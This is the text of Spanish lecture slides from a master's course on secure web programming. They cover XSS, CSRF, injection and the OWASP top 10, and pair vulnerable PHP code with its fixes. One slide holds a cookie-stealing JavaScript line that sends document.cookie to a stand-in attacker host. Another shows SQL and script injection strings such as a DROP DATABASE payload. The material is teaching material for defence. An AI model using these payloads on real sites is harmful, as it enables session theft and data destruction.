Máster Profesional
en Tecnologías de Seguridad
Módulo VI - Programación Segura
Seguridad en la web
@josereyero
http://www.reyero.net
[email protected]
Seguridad en la Web
Introducción y objetivos
Programa de ejemplo
Seguridad en teoría
Seguridad en la práctica
Técnicas: XSS, CSRF, ....
Herramientas más seguras
Resumen y conclusión
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
2
Sólo sé
que no sé nada.
(como voy a demostrar)
(y yo también he escrito código inseguro)
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
3
pequeñas mentiras
y
Grandes
Verdades
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
4
pequeñas mentiras
Esta web es completamente segura.
Tiene muchos avisos de seguridad... ojo.
Por fin hemos conseguido que sea seguro.
El código abierto es más seguro.
El código abierto es menos seguro.
Estos datos son seguros.
Yo lo sé todo sobre seguridad en Internet.
Este lenguaje de programación es seguro.
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
5
Grandes Verdades
Lo único seguro en la vida... es que nos vamos a morir.
Si una aplicación no tiene ningún aviso de seguridad... ?
La seguridad no es un estado... es un proceso.
El código abierto es código abierto
Si es abierto, puedes tener garantías de que es seguro
(o no)
Las cosas son seguras en un contexto (para un uso).
La inteligencia tiene límites, la estupidez no.
El lenguaje de programación es infinitamente menos
importante que el programador.
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
6
Cosillas
del
desarollo
web
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
7
El enemigo
Jose A Reyero - Development Seed - Drupal Conference – DC - March 2009
Web 2.0
= Seguridad 2.0
Contenido generado por el usuario
Feeds RSS
Servicios
(Flickr, Google maps....)
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
9
Cocktail de tecnología
Unix
Oracle
Apache
Java
JSP
HTTP
Firefox
HTML
AJAX
Flash
PDF
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
10
Lenguages de Script
Ves lo que compras / ves lo que corre en el
servidor.
El programa sigue corriendo mucho tiempo
después de que el código se ha perdido.
Algunos, especialmente diseñados para la web.
Pequeña Teoría de la Complejidad (- es +)
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
11
La seguridad es...
Lenguajes de programación?
Frameworks?
Sistemas operativos?
Servidores?
Navegadores?
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
12
http://commons.wikimedia.org
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
13
technology can solve your security problems,
you don't understand the problems
you don't understand the technology.
If you think
then
and
Bruce Schneier
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
14
Roles
Construir
Estudiar
Destruir
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
15
La historia nos demuestra...
...que nunca aprendemos nada de la historia.
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
16
La Información es Poder
http://secunia.com/advisories/search/
http://ha.ckers.org/xss.html
http://www.gnucitizen.org/
http://www.google.com/
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
17
La sabiduría consiste en ser capaz de distinguir
entre los peligros y elegir el menos dañino.
Maquiavelo, “El Príncipe”
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
18
CSI
Corto pero Sumamente Inseguro
(Práctica en PHP)
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
19
CSI
sudo su
apt-get install apache2 php5
dpkg-reconfigure apache2 php5
cd /var/www
wget http://reyero.net/csi.tar.gz
tar xvzf csi.tar.gz
http://localhost/csi/csi.php
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
20
CSI
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
21
CSI
http://localhost/csi.php
http://localhost/xss.html
http://localhost/csrf.html
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
22
Conceptos
Cliente <------- HTTP / HTTPS -------> Servidor
Cookies
Sesión
URL
Post
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
23
El eje del mal
HTTP / HTML
Javascript (AJAX)
Cadenas de texto
Otros bichos (Flash, PDF, ...)
....
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
24
La importancia del dominio
http://midominio.com/.........
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
25
Javascript
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
26
Cómo de malo?
alert(document.cookies);
document.write('<h1>Tu web me pertenece</h1>');
new Image().src =
"http://malos.example.com/guarda.cgi?
cookiesrobadas="+encodeURI(document.cookie);
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
27
Javascript
var params = "user=value1&password=value2";
http.open("POST", “password.php”, true);
http.setRequestHeader("Content-type", "application/x-www-
form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
28
El contexto
Es ...¿seguro?¿inseguro?
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
29
Texto y Contexto
jose
SELECT FROM users WHERE name = 'jose';
<h2>Hola jose</h2>
nombre = 'jose';
http://miweb.com/jose
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
30
Texto y Contexto
SELECT FROM users
WHERE name = 'malo';DROP DATABASE';
<h2>Hola malo</h2><h2>Envía SMS al 666</h2>
nombre = 'malo';alert(“Hola”);//';
http://miweb.com/malo?delete=yes
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
31
Recuerda
validar antes de usar
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
32
OWASP top 10
Cross Site Scripting (XSS)
Injection Flaws
Malicious File Execution
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL access
http://www.owasp.org/index.php/Top_10_2007
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
33
Máster Profesional en Tecnologías de Seguridad
http://hackademix.net/2008/04/26/mass-attack-faq/
INTECO - UNIVERSIDAD DE LEÓN
34
XSS
Cross-site Scripting
¿qué?
¿cómo?
¿cuándo?
¿dónde?
http://en.wikipedia.org/wiki/Cross-site_scripting
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
35
XSS - ¿qué?
Introducen código (ejecutable o no) en una
página que está en nuestro dominio
HTML, Javascript, CSS, etc, etc..
Lenguajes: todos
HTTPS: Sí
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
36
XSS - ¿cómo?
Enlace
Contenido
Javascript
La “víctima” sólo tiene que visitar la página
maliciosa o nuestra página con contenido “malo”
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
37
XSS - ¿dónde?
print "<p>No se ha podido iniciar
sesion para $login </p>\n";
print "<p>Hola $usuario </p>";
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
38
XSS - solución
print "<p>No se ha podido iniciar
sesion para “ .
htmlspecialchars($login) . “ </p>\n";
print "<p>Hola “ .
htmlspecialchars($usuario) . “</p>";
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
39
XSS para jugar
http://ha.ckers.org/xss.html
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
40
CSRF
Cross-site Request Forgery
¿qué?
¿cómo?
¿cuándo?
¿dónde?
http://en.wikipedia.org/wiki/Csrf
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
41
CSRF - ¿qué?
Ejecutar “acciones” con las credenciales del
usuario
Puede hacer todo lo que el usuario puede hacer
No es específico del lenguaje de programacioń
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
42
CSRF - ¿cómo?
Enlace
Formulario
Javascript
La “víctima” sólo tiene que visitar la página
maliciosa
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
43
CSRF - ¿cuándo?
Una URL ejecuta una acción
Formulario ejecuta una acción
Tanto las URLs como los formularios necesitan
medidas de seguridad adicionales
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
44
CSRF - ¿dónde?
<form>
<input type="hidden" name="accion" value="accion" />
<input type="submit" value="Accion" />
</form>
case 'accion':
if ($usuario) {
accion_potencialmente_desastrosa();
}
Máster Profesional en Tecnologías de Seguridad
INTECO - UNIVERSIDAD DE LEÓN
45
CSRF – Solución (PHP)
<form>
<input type="hidden" name="accion" value="accion" />
<input type="hidden" name="token" value="a3dffs78" />
<input type="submit" value="Accion" />
</
Comentarios de: Módulo VI - Programación Segura - Seguridad en la web (0)
No hay comentarios